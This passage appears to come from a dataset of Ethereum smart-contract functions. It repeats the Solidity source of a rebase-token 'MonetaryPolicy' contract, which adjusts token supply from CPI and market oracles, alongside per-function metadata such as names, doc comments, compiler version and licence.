// (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change.
// DECIMALS Fixed point number.
uint256 public deviationThreshold;
// The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag
// Check setRebaseLag comments for more details.
// Natural number, no decimal places.
uint256 public rebaseLag;
// More than this much time must pass between rebase operations.
uint256 public minRebaseTimeIntervalSec;
// Block timestamp of last rebase operation
uint256 public lastRebaseTimestampSec;
// The number of rebase cycles since inception
uint256 public epoch;
uint256 private constant DECIMALS = 18;
// Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256.
// Both are 18 decimals fixed point numbers.
uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS;
// MAX_SUPPLY = MAX_INT256 / MAX_RATE
uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE;
constructor(uint256 baseCpi_) public {
deviationThreshold = 5 * 10 ** (DECIMALS-2);
rebaseLag = 20;
minRebaseTimeIntervalSec = 12 hours;
lastRebaseTimestampSec = 0;
epoch = 0;
baseCpi = baseCpi_;
}
/**
* @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase.
*
*/
function canRebase() public view returns (bool) {
return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now);
}
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
*/
function rebase() external {
require(canRebase(), "Insufficient time has passed since last rebase");
lastRebaseTimestampSec = now;
epoch = epoch.add(1);
(uint256 cpi, uint256 exchangeRate, uint256 targetRate, int256 supplyDelta) = getRebaseValues();
uint256 supplyAfterRebase = rebased.rebase(epoch, supplyDelta);
assert(supplyAfterRebase <= MAX_SUPPLY);
emit LogRebase(epoch, exchangeRate, cpi, supplyDelta, now);
}
/**
* @notice Calculates the supplyDelta and returns the current set of values for the rebase
*
* @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag
* Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate
* and targetRate is CpiOracleRate / baseCpi
*
*/
function getRebaseValues() public view returns (uint256, uint256, uint256, int256) {
uint256 cpi;
bool cpiValid;
(cpi, cpiValid) = cpiOracle.getData();
require(cpiValid);
uint256 targetRate = cpi.mul(10 ** DECIMALS).div(baseCpi);
uint256 exchangeRate;
bool rateValid;
(exchangeRate, rateValid) = marketOracle.getData();
require(rateValid);
if (exchangeRate > MAX_RATE) {
exchangeRate = MAX_RATE;
}
int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate);
// Apply the Dampening factor.
supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe());
if (supplyDelta > 0 && rebased.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {
supplyDelta = (MAX_SUPPLY.sub(rebased.totalSupply())).toInt256Safe();
}
return (cpi, exchangeRate, targetRate, supplyDelta);
}
/**
* @return Computes the total supply adjustment in response to the exchange rate
* and the targetRate.
*/
function computeSupplyDelta(uint256 rate, uint256 targetRate)
internal
view
returns (int256)
{
if (withinDeviationThreshold(rate, targetRate)) {
return 0;
}
// supplyDelta = totalSupply * (rate - targetRate) / targetRate
int256 targetRateSigned = targetRate.toInt256Safe();
return rebased.totalSupply().toInt256Safe()
.mul(rate.toInt256Safe().sub(targetRateSigned))
.div(targetRateSigned);
}
/**
* @param rate The current exchange rate, an 18 decimal fixed point number.
* @param targetRate The target exchange rate, an 18 decimal fixed point number.
* @return If the rate is within the deviation threshold from the target rate, returns true.
* Otherwise, returns false.
*/
function withinDeviationThreshold(uint256 rate, uint256 targetRate)
internal
view
returns (bool)
{
uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold)
.div(10 ** DECIMALS);
return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold)
|| (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold);
}
/**
* @notice Sets the reference to the Rebased token governed.
* Can only be called once during initialization.
*
* @param rebased_ The address of the Rebased ERC20 token.
*/
function setRebased(IRebased rebased_)
external
onlyOwner
{
require(rebased == IRebased(0));
rebased = rebased_;
}
/**
* @notice Sets the reference to the CPI oracle.
* @param cpiOracle_ The address of the cpi oracle contract.
*/
function setCpiOracle(IOracle cpiOracle_)
external
onlyOwner
{
cpiOracle = cpiOracle_;
}
/**
* @notice Sets the reference to the market oracle.
* @param marketOracle_ The address of the market oracle contract.
*/
function setMarketOracle(IOracle marketOracle_)
external
onlyOwner
{
marketOracle = marketOracle_;
}
} | /**
* @title Rebased Monetary Supply Policy
* @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth.
* uFragments operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable unit price.
*
* This component regulates the token supply of the uFragments ERC20 token in response to
* market oracles.
*/ | NatSpecMultiLine | getRebaseValues | function getRebaseValues() public view returns (uint256, uint256, uint256, int256) {
uint256 cpi;
bool cpiValid;
(cpi, cpiValid) = cpiOracle.getData();
require(cpiValid);
uint256 targetRate = cpi.mul(10 ** DECIMALS).div(baseCpi);
uint256 exchangeRate;
bool rateValid;
(exchangeRate, rateValid) = marketOracle.getData();
require(rateValid);
if (exchangeRate > MAX_RATE) {
exchangeRate = MAX_RATE;
}
int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate);
// Apply the Dampening factor.
supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe());
if (supplyDelta > 0 && rebased.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {
supplyDelta = (MAX_SUPPLY.sub(rebased.totalSupply())).toInt256Safe();
}
return (cpi, exchangeRate, targetRate, supplyDelta);
}
| /**
* @notice Calculates the supplyDelta and returns the current set of values for the rebase
*
* @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag
* Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate
* and targetRate is CpiOracleRate / baseCpi
*
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e | {
"func_code_index": [
3557,
4555
]
} | 1,383 |
MonetaryPolicy | MonetaryPolicy.sol | 0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e | Solidity | MonetaryPolicy | contract MonetaryPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
uint256 cpi,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
IRebased public rebased;
// Provides the current CPI as a 20 decimal fixed point number.
IOracle public cpiOracle;
// Market oracle provides the token/USD exchange rate as an 18 decimal fixed point number.
IOracle public marketOracle;
// CPI value at the time of launch, as an 18 decimal fixed point number.
uint256 private baseCpi;
// If the current exchange rate is within this fractional distance from the target, no supply
// update is performed. Fixed point number--same format as the rate.
// (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change.
// DECIMALS Fixed point number.
uint256 public deviationThreshold;
// The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag
// Check setRebaseLag comments for more details.
// Natural number, no decimal places.
uint256 public rebaseLag;
// More than this much time must pass between rebase operations.
uint256 public minRebaseTimeIntervalSec;
// Block timestamp of last rebase operation
uint256 public lastRebaseTimestampSec;
// The number of rebase cycles since inception
uint256 public epoch;
uint256 private constant DECIMALS = 18;
// Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256.
// Both are 18 decimals fixed point numbers.
uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS;
// MAX_SUPPLY = MAX_INT256 / MAX_RATE
uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE;
constructor(uint256 baseCpi_) public {
deviationThreshold = 5 * 10 ** (DECIMALS-2);
rebaseLag = 20;
minRebaseTimeIntervalSec = 12 hours;
lastRebaseTimestampSec = 0;
epoch = 0;
baseCpi = baseCpi_;
}
/**
* @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase.
*
*/
function canRebase() public view returns (bool) {
return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now);
}
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
*/
function rebase() external {
require(canRebase(), "Insufficient time has passed since last rebase");
lastRebaseTimestampSec = now;
epoch = epoch.add(1);
(uint256 cpi, uint256 exchangeRate, uint256 targetRate, int256 supplyDelta) = getRebaseValues();
uint256 supplyAfterRebase = rebased.rebase(epoch, supplyDelta);
assert(supplyAfterRebase <= MAX_SUPPLY);
emit LogRebase(epoch, exchangeRate, cpi, supplyDelta, now);
}
/**
* @notice Calculates the supplyDelta and returns the current set of values for the rebase
*
* @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag
* Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate
* and targetRate is CpiOracleRate / baseCpi
*
*/
function getRebaseValues() public view returns (uint256, uint256, uint256, int256) {
uint256 cpi;
bool cpiValid;
(cpi, cpiValid) = cpiOracle.getData();
require(cpiValid);
uint256 targetRate = cpi.mul(10 ** DECIMALS).div(baseCpi);
uint256 exchangeRate;
bool rateValid;
(exchangeRate, rateValid) = marketOracle.getData();
require(rateValid);
if (exchangeRate > MAX_RATE) {
exchangeRate = MAX_RATE;
}
int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate);
// Apply the Dampening factor.
supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe());
if (supplyDelta > 0 && rebased.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {
supplyDelta = (MAX_SUPPLY.sub(rebased.totalSupply())).toInt256Safe();
}
return (cpi, exchangeRate, targetRate, supplyDelta);
}
/**
* @return Computes the total supply adjustment in response to the exchange rate
* and the targetRate.
*/
function computeSupplyDelta(uint256 rate, uint256 targetRate)
internal
view
returns (int256)
{
if (withinDeviationThreshold(rate, targetRate)) {
return 0;
}
// supplyDelta = totalSupply * (rate - targetRate) / targetRate
int256 targetRateSigned = targetRate.toInt256Safe();
return rebased.totalSupply().toInt256Safe()
.mul(rate.toInt256Safe().sub(targetRateSigned))
.div(targetRateSigned);
}
/**
* @param rate The current exchange rate, an 18 decimal fixed point number.
* @param targetRate The target exchange rate, an 18 decimal fixed point number.
* @return If the rate is within the deviation threshold from the target rate, returns true.
* Otherwise, returns false.
*/
function withinDeviationThreshold(uint256 rate, uint256 targetRate)
internal
view
returns (bool)
{
uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold)
.div(10 ** DECIMALS);
return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold)
|| (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold);
}
/**
* @notice Sets the reference to the Rebased token governed.
* Can only be called once during initialization.
*
* @param rebased_ The address of the Rebased ERC20 token.
*/
function setRebased(IRebased rebased_)
external
onlyOwner
{
require(rebased == IRebased(0));
rebased = rebased_;
}
/**
* @notice Sets the reference to the CPI oracle.
* @param cpiOracle_ The address of the cpi oracle contract.
*/
function setCpiOracle(IOracle cpiOracle_)
external
onlyOwner
{
cpiOracle = cpiOracle_;
}
/**
* @notice Sets the reference to the market oracle.
* @param marketOracle_ The address of the market oracle contract.
*/
function setMarketOracle(IOracle marketOracle_)
external
onlyOwner
{
marketOracle = marketOracle_;
}
} | /**
* @title Rebased Monetary Supply Policy
* @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth.
* uFragments operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable unit price.
*
* This component regulates the token supply of the uFragments ERC20 token in response to
* market oracles.
*/ | NatSpecMultiLine | computeSupplyDelta | function computeSupplyDelta(uint256 rate, uint256 targetRate)
internal
view
returns (int256)
{
if (withinDeviationThreshold(rate, targetRate)) {
return 0;
}
// supplyDelta = totalSupply * (rate - targetRate) / targetRate
int256 targetRateSigned = targetRate.toInt256Safe();
return rebased.totalSupply().toInt256Safe()
.mul(rate.toInt256Safe().sub(targetRateSigned))
.div(targetRateSigned);
}
| /**
* @return Computes the total supply adjustment in response to the exchange rate
* and the targetRate.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e | {
"func_code_index": [
4700,
5219
]
} | 1,384 |
MonetaryPolicy | MonetaryPolicy.sol | 0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e | Solidity | MonetaryPolicy | contract MonetaryPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
uint256 cpi,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
IRebased public rebased;
// Provides the current CPI as a 20 decimal fixed point number.
IOracle public cpiOracle;
// Market oracle provides the token/USD exchange rate as an 18 decimal fixed point number.
IOracle public marketOracle;
// CPI value at the time of launch, as an 18 decimal fixed point number.
uint256 private baseCpi;
// If the current exchange rate is within this fractional distance from the target, no supply
// update is performed. Fixed point number--same format as the rate.
// (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change.
// DECIMALS Fixed point number.
uint256 public deviationThreshold;
// The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag
// Check setRebaseLag comments for more details.
// Natural number, no decimal places.
uint256 public rebaseLag;
// More than this much time must pass between rebase operations.
uint256 public minRebaseTimeIntervalSec;
// Block timestamp of last rebase operation
uint256 public lastRebaseTimestampSec;
// The number of rebase cycles since inception
uint256 public epoch;
uint256 private constant DECIMALS = 18;
// Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256.
// Both are 18 decimals fixed point numbers.
uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS;
// MAX_SUPPLY = MAX_INT256 / MAX_RATE
uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE;
constructor(uint256 baseCpi_) public {
deviationThreshold = 5 * 10 ** (DECIMALS-2);
rebaseLag = 20;
minRebaseTimeIntervalSec = 12 hours;
lastRebaseTimestampSec = 0;
epoch = 0;
baseCpi = baseCpi_;
}
/**
* @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase.
*
*/
function canRebase() public view returns (bool) {
return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now);
}
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
*/
function rebase() external {
require(canRebase(), "Insufficient time has passed since last rebase");
lastRebaseTimestampSec = now;
epoch = epoch.add(1);
(uint256 cpi, uint256 exchangeRate, uint256 targetRate, int256 supplyDelta) = getRebaseValues();
uint256 supplyAfterRebase = rebased.rebase(epoch, supplyDelta);
assert(supplyAfterRebase <= MAX_SUPPLY);
emit LogRebase(epoch, exchangeRate, cpi, supplyDelta, now);
}
/**
* @notice Calculates the supplyDelta and returns the current set of values for the rebase
*
* @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag
* Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate
* and targetRate is CpiOracleRate / baseCpi
*
*/
function getRebaseValues() public view returns (uint256, uint256, uint256, int256) {
uint256 cpi;
bool cpiValid;
(cpi, cpiValid) = cpiOracle.getData();
require(cpiValid);
uint256 targetRate = cpi.mul(10 ** DECIMALS).div(baseCpi);
uint256 exchangeRate;
bool rateValid;
(exchangeRate, rateValid) = marketOracle.getData();
require(rateValid);
if (exchangeRate > MAX_RATE) {
exchangeRate = MAX_RATE;
}
int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate);
// Apply the Dampening factor.
supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe());
if (supplyDelta > 0 && rebased.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {
supplyDelta = (MAX_SUPPLY.sub(rebased.totalSupply())).toInt256Safe();
}
return (cpi, exchangeRate, targetRate, supplyDelta);
}
/**
* @return Computes the total supply adjustment in response to the exchange rate
* and the targetRate.
*/
function computeSupplyDelta(uint256 rate, uint256 targetRate)
internal
view
returns (int256)
{
if (withinDeviationThreshold(rate, targetRate)) {
return 0;
}
// supplyDelta = totalSupply * (rate - targetRate) / targetRate
int256 targetRateSigned = targetRate.toInt256Safe();
return rebased.totalSupply().toInt256Safe()
.mul(rate.toInt256Safe().sub(targetRateSigned))
.div(targetRateSigned);
}
/**
* @param rate The current exchange rate, an 18 decimal fixed point number.
* @param targetRate The target exchange rate, an 18 decimal fixed point number.
* @return If the rate is within the deviation threshold from the target rate, returns true.
* Otherwise, returns false.
*/
function withinDeviationThreshold(uint256 rate, uint256 targetRate)
internal
view
returns (bool)
{
uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold)
.div(10 ** DECIMALS);
return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold)
|| (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold);
}
/**
* @notice Sets the reference to the Rebased token governed.
* Can only be called once during initialization.
*
* @param rebased_ The address of the Rebased ERC20 token.
*/
function setRebased(IRebased rebased_)
external
onlyOwner
{
require(rebased == IRebased(0));
rebased = rebased_;
}
/**
* @notice Sets the reference to the CPI oracle.
* @param cpiOracle_ The address of the cpi oracle contract.
*/
function setCpiOracle(IOracle cpiOracle_)
external
onlyOwner
{
cpiOracle = cpiOracle_;
}
/**
* @notice Sets the reference to the market oracle.
* @param marketOracle_ The address of the market oracle contract.
*/
function setMarketOracle(IOracle marketOracle_)
external
onlyOwner
{
marketOracle = marketOracle_;
}
} | /**
* @title Rebased Monetary Supply Policy
* @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth.
* uFragments operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable unit price.
*
* This component regulates the token supply of the uFragments ERC20 token in response to
* market oracles.
*/ | NatSpecMultiLine | withinDeviationThreshold | function withinDeviationThreshold(uint256 rate, uint256 targetRate)
internal
view
returns (bool)
{
uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold)
.div(10 ** DECIMALS);
return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold)
|| (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold);
}
| /**
* @param rate The current exchange rate, an 18 decimal fixed point number.
* @param targetRate The target exchange rate, an 18 decimal fixed point number.
* @return If the rate is within the deviation threshold from the target rate, returns true.
* Otherwise, returns false.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e | {
"func_code_index": [
5547,
5987
]
} | 1,385 |
MonetaryPolicy | MonetaryPolicy.sol | 0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e | Solidity | MonetaryPolicy | contract MonetaryPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
uint256 cpi,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
IRebased public rebased;
// Provides the current CPI as a 20 decimal fixed point number.
IOracle public cpiOracle;
// Market oracle provides the token/USD exchange rate as an 18 decimal fixed point number.
IOracle public marketOracle;
// CPI value at the time of launch, as an 18 decimal fixed point number.
uint256 private baseCpi;
// If the current exchange rate is within this fractional distance from the target, no supply
// update is performed. Fixed point number--same format as the rate.
// (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change.
// DECIMALS Fixed point number.
uint256 public deviationThreshold;
// The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag
// Check setRebaseLag comments for more details.
// Natural number, no decimal places.
uint256 public rebaseLag;
// More than this much time must pass between rebase operations.
uint256 public minRebaseTimeIntervalSec;
// Block timestamp of last rebase operation
uint256 public lastRebaseTimestampSec;
// The number of rebase cycles since inception
uint256 public epoch;
uint256 private constant DECIMALS = 18;
// Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256.
// Both are 18 decimals fixed point numbers.
uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS;
// MAX_SUPPLY = MAX_INT256 / MAX_RATE
uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE;
constructor(uint256 baseCpi_) public {
deviationThreshold = 5 * 10 ** (DECIMALS-2);
rebaseLag = 20;
minRebaseTimeIntervalSec = 12 hours;
lastRebaseTimestampSec = 0;
epoch = 0;
baseCpi = baseCpi_;
}
/**
* @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase.
*
*/
function canRebase() public view returns (bool) {
return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now);
}
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
*/
function rebase() external {
require(canRebase(), "Insufficient time has passed since last rebase");
lastRebaseTimestampSec = now;
epoch = epoch.add(1);
(uint256 cpi, uint256 exchangeRate, uint256 targetRate, int256 supplyDelta) = getRebaseValues();
uint256 supplyAfterRebase = rebased.rebase(epoch, supplyDelta);
assert(supplyAfterRebase <= MAX_SUPPLY);
emit LogRebase(epoch, exchangeRate, cpi, supplyDelta, now);
}
/**
* @notice Calculates the supplyDelta and returns the current set of values for the rebase
*
* @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag
* Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate
* and targetRate is CpiOracleRate / baseCpi
*
*/
function getRebaseValues() public view returns (uint256, uint256, uint256, int256) {
uint256 cpi;
bool cpiValid;
(cpi, cpiValid) = cpiOracle.getData();
require(cpiValid);
uint256 targetRate = cpi.mul(10 ** DECIMALS).div(baseCpi);
uint256 exchangeRate;
bool rateValid;
(exchangeRate, rateValid) = marketOracle.getData();
require(rateValid);
if (exchangeRate > MAX_RATE) {
exchangeRate = MAX_RATE;
}
int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate);
// Apply the Dampening factor.
supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe());
if (supplyDelta > 0 && rebased.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {
supplyDelta = (MAX_SUPPLY.sub(rebased.totalSupply())).toInt256Safe();
}
return (cpi, exchangeRate, targetRate, supplyDelta);
}
/**
* @return Computes the total supply adjustment in response to the exchange rate
* and the targetRate.
*/
function computeSupplyDelta(uint256 rate, uint256 targetRate)
internal
view
returns (int256)
{
if (withinDeviationThreshold(rate, targetRate)) {
return 0;
}
// supplyDelta = totalSupply * (rate - targetRate) / targetRate
int256 targetRateSigned = targetRate.toInt256Safe();
return rebased.totalSupply().toInt256Safe()
.mul(rate.toInt256Safe().sub(targetRateSigned))
.div(targetRateSigned);
}
/**
* @param rate The current exchange rate, an 18 decimal fixed point number.
* @param targetRate The target exchange rate, an 18 decimal fixed point number.
* @return If the rate is within the deviation threshold from the target rate, returns true.
* Otherwise, returns false.
*/
function withinDeviationThreshold(uint256 rate, uint256 targetRate)
internal
view
returns (bool)
{
uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold)
.div(10 ** DECIMALS);
return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold)
|| (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold);
}
/**
* @notice Sets the reference to the Rebased token governed.
* Can only be called once during initialization.
*
* @param rebased_ The address of the Rebased ERC20 token.
*/
function setRebased(IRebased rebased_)
external
onlyOwner
{
require(rebased == IRebased(0));
rebased = rebased_;
}
/**
* @notice Sets the reference to the CPI oracle.
* @param cpiOracle_ The address of the cpi oracle contract.
*/
function setCpiOracle(IOracle cpiOracle_)
external
onlyOwner
{
cpiOracle = cpiOracle_;
}
/**
* @notice Sets the reference to the market oracle.
* @param marketOracle_ The address of the market oracle contract.
*/
function setMarketOracle(IOracle marketOracle_)
external
onlyOwner
{
marketOracle = marketOracle_;
}
} | /**
* @title Rebased Monetary Supply Policy
* @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth.
* uFragments operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable unit price.
*
* This component regulates the token supply of the uFragments ERC20 token in response to
* market oracles.
*/ | NatSpecMultiLine | setRebased | function setRebased(IRebased rebased_)
external
onlyOwner
{
require(rebased == IRebased(0));
rebased = rebased_;
}
| /**
* @notice Sets the reference to the Rebased token governed.
* Can only be called once during initialization.
*
* @param rebased_ The address of the Rebased ERC20 token.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e | {
"func_code_index": [
6214,
6384
]
} | 1,386 |
MonetaryPolicy | MonetaryPolicy.sol | 0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e | Solidity | MonetaryPolicy | contract MonetaryPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
uint256 cpi,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
IRebased public rebased;
// Provides the current CPI as a 20 decimal fixed point number.
IOracle public cpiOracle;
// Market oracle provides the token/USD exchange rate as an 18 decimal fixed point number.
IOracle public marketOracle;
// CPI value at the time of launch, as an 18 decimal fixed point number.
uint256 private baseCpi;
// If the current exchange rate is within this fractional distance from the target, no supply
// update is performed. Fixed point number--same format as the rate.
// (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change.
// DECIMALS Fixed point number.
uint256 public deviationThreshold;
// The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag
// Check setRebaseLag comments for more details.
// Natural number, no decimal places.
uint256 public rebaseLag;
// More than this much time must pass between rebase operations.
uint256 public minRebaseTimeIntervalSec;
// Block timestamp of last rebase operation
uint256 public lastRebaseTimestampSec;
// The number of rebase cycles since inception
uint256 public epoch;
uint256 private constant DECIMALS = 18;
// Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256.
// Both are 18 decimals fixed point numbers.
uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS;
// MAX_SUPPLY = MAX_INT256 / MAX_RATE
uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE;
constructor(uint256 baseCpi_) public {
deviationThreshold = 5 * 10 ** (DECIMALS-2);
rebaseLag = 20;
minRebaseTimeIntervalSec = 12 hours;
lastRebaseTimestampSec = 0;
epoch = 0;
baseCpi = baseCpi_;
}
/**
* @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase.
*
*/
function canRebase() public view returns (bool) {
return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now);
}
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
*/
function rebase() external {
require(canRebase(), "Insufficient time has passed since last rebase");
lastRebaseTimestampSec = now;
epoch = epoch.add(1);
(uint256 cpi, uint256 exchangeRate, uint256 targetRate, int256 supplyDelta) = getRebaseValues();
uint256 supplyAfterRebase = rebased.rebase(epoch, supplyDelta);
assert(supplyAfterRebase <= MAX_SUPPLY);
emit LogRebase(epoch, exchangeRate, cpi, supplyDelta, now);
}
/**
* @notice Calculates the supplyDelta and returns the current set of values for the rebase
*
* @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag
* Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate
* and targetRate is CpiOracleRate / baseCpi
*
*/
function getRebaseValues() public view returns (uint256, uint256, uint256, int256) {
uint256 cpi;
bool cpiValid;
(cpi, cpiValid) = cpiOracle.getData();
require(cpiValid);
uint256 targetRate = cpi.mul(10 ** DECIMALS).div(baseCpi);
uint256 exchangeRate;
bool rateValid;
(exchangeRate, rateValid) = marketOracle.getData();
require(rateValid);
if (exchangeRate > MAX_RATE) {
exchangeRate = MAX_RATE;
}
int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate);
// Apply the Dampening factor.
supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe());
if (supplyDelta > 0 && rebased.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {
supplyDelta = (MAX_SUPPLY.sub(rebased.totalSupply())).toInt256Safe();
}
return (cpi, exchangeRate, targetRate, supplyDelta);
}
/**
* @return Computes the total supply adjustment in response to the exchange rate
* and the targetRate.
*/
function computeSupplyDelta(uint256 rate, uint256 targetRate)
internal
view
returns (int256)
{
if (withinDeviationThreshold(rate, targetRate)) {
return 0;
}
// supplyDelta = totalSupply * (rate - targetRate) / targetRate
int256 targetRateSigned = targetRate.toInt256Safe();
return rebased.totalSupply().toInt256Safe()
.mul(rate.toInt256Safe().sub(targetRateSigned))
.div(targetRateSigned);
}
/**
* @param rate The current exchange rate, an 18 decimal fixed point number.
* @param targetRate The target exchange rate, an 18 decimal fixed point number.
* @return If the rate is within the deviation threshold from the target rate, returns true.
* Otherwise, returns false.
*/
function withinDeviationThreshold(uint256 rate, uint256 targetRate)
internal
view
returns (bool)
{
uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold)
.div(10 ** DECIMALS);
return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold)
|| (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold);
}
/**
* @notice Sets the reference to the Rebased token governed.
* Can only be called once during initialization.
*
* @param rebased_ The address of the Rebased ERC20 token.
*/
function setRebased(IRebased rebased_)
external
onlyOwner
{
require(rebased == IRebased(0));
rebased = rebased_;
}
/**
* @notice Sets the reference to the CPI oracle.
* @param cpiOracle_ The address of the cpi oracle contract.
*/
function setCpiOracle(IOracle cpiOracle_)
external
onlyOwner
{
cpiOracle = cpiOracle_;
}
/**
* @notice Sets the reference to the market oracle.
* @param marketOracle_ The address of the market oracle contract.
*/
function setMarketOracle(IOracle marketOracle_)
external
onlyOwner
{
marketOracle = marketOracle_;
}
} | /**
